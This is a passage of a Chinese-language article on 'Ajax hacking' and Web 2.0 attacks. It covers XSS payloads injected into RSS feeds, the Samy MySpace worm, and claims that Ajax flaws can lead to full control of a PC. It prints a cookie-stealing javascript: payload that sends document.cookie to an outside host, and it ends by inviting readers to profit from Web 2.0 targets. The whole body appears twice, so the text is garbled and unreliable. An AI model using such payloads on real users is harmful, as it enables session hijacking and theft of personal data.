Ajax Hacking
复他的css代码。事实上直到写这篇文章时，百度空间尚没有对一些另类的插入恶意代码方式进行有效地过滤和封锁。
如果认为他们所造成的影响都是局域的，那么我不得不带领大家来看一些影响比较广泛的最具有web2.0性质的——Rss（Really Simple Syndication）攻击。这是我从zdnet.com的Joris Evers的一篇名为“Blog feeds may carry security risk ”了解到的，大体意思是说由于目前几乎所有的不管是在线的还是离线的Rss阅读器都没有有效地对搀杂在Rss中的脚本进行过滤，导致攻击者可以向Rss中写入恶意的javascript代码，最终导致xss跨站，获取用户信息或其他。包括著名的Bloglines, RSS Reader, RSS Owl, Feed Demon, Sharp Reader都在攻击范围之内。这是去年yahoo rss xss代码：
javascript:%20document.location=''http://www.target.com/cookie.cgi?'%20+document cookie;
Should Steal Your Cookie.
Tue, 20 Sep 2005 23:55:18 EDT
javascript:%20alert(document.cookie);
Should Steal Your Cookie.
Tue, 20 Sep 2005 23:55:18 EDT
事实上，最早的web2.0攻击出现在去年的myspace.上，有人在MySpace交友网站上写了一段JavaScript蠕虫代码，利用Ajax方法让无数的用户在不知情的情况下把他加入了好友名单，同时在他们的个人简介最后自动加上了“samy is my hero”的字样。此蠕虫被称为世界上第一个“web2.0蠕虫”。而从上文的对email、css、rss攻击进行的描述中你也可以看出目前对 web2.0的攻击利用亦是多方面的。但并不单单指跨站，网上有一篇《Hacking Ajax》的文章，其中有一句话被加了黑体，“By corrupting one of the dozens of data exchanges Ajax handles while loading a Web page, a hacker can take over control of the PC”，也就是说适当情况下，利用Ajax攻击并获得个人电脑管理权限亦是可能的。
由于目前系统对补丁的发布采取的都是时时更新功能，想通过溢出获得shell已经很难了，除非是0day的系统漏洞；而sql注入在网络也肆虐了几年，亦有了行之有效的防范方法；并且由于Python和Ruby语言的兴起，新的web2.0服务正在产生并有取代现有web结构趋势，譬如Plone。但不可改变的是web浏览器对xhtml和javascript的解释，只要我们始终有改变javascript的可能性，我们就永远有提升自己权限的可能……
那么对于日趋庞大的web2.0大军，你是否有兴趣从中分一杯羹呢？
如果认为他们所造成的影响都是局域的，那么我不得不带领大家来看一些影响比较广泛的最具有web2.0性质的——Rss（Really Simple Syndication）攻击。这是我从zdnet.com的Joris Evers的一篇名为“Blog feeds may carry security risk ”了解到的，大体意思是说由于目前几乎所有的不管是在线的还是离线的Rss阅读器都没有有效地对搀杂在Rss中的脚本进行过滤，导致攻击者可以向Rss中写入恶意的javascript代码，最终导致xss跨站，获取用户信息或其他。包括著名的Bloglines, RSS Reader, RSS Owl, Feed Demon, Sharp Reader都在攻击范围之内。这是去年yahoo rss xss代码：
javascript:%20document.location=''http://www.target.com/cookie.cgi?'%20+document cookie;
Should Steal Your Cookie.
Tue, 20 Sep 2005 23:55:18 EDT
javascript:%20alert(document.cookie);
Should Steal Your Cookie.
Tue, 20 Sep 2005 23:55:18 EDT
事实上，最早的web2.0攻击出现在去年的myspace.上，有人在MySpace交友网站上写了一段JavaScript蠕虫代码，利用Ajax方法让无数的用户在不知情的情况下把他加入了好友名单，同时在他们的个人简介最后自动加上了“samy is my hero”的字样。此蠕虫被称为世界上第一个“web2.0蠕虫”。而从上文的对email、css、rss攻击进行的描述中你也可以看出目前对 web2.0的攻击利用亦是多方面的。但并不单单指跨站，网上有一篇《Hacking Ajax》的文章，其中有一句话被加了黑体，“By corrupting one of the dozens of data exchanges Ajax handles while loading a Web page, a hacker can take over control of the PC”，也就是说适当情况下，利用Ajax攻击并获得个人电脑管理权限亦是可能的。
由于目前系统对补丁的发布采取的都是时时更新功能，想通过溢出获得shell已经很难了，除非是0day的系统漏洞；而sql注入在网络也肆虐了几年，亦有了行之有效的防范方法；并且由于Python和Ruby语言的兴起，新的web2.0服务正在产生并有取代现有web结构趋势，譬如Plone。但不可改变的是web浏览器对xhtml和javascript的解释，只要我们始终有改变javascript的可能性，我们就永远有提升自己权限的可能……
那么对于日趋庞大的web2.0大军，你是否有兴趣从中分一杯羹呢？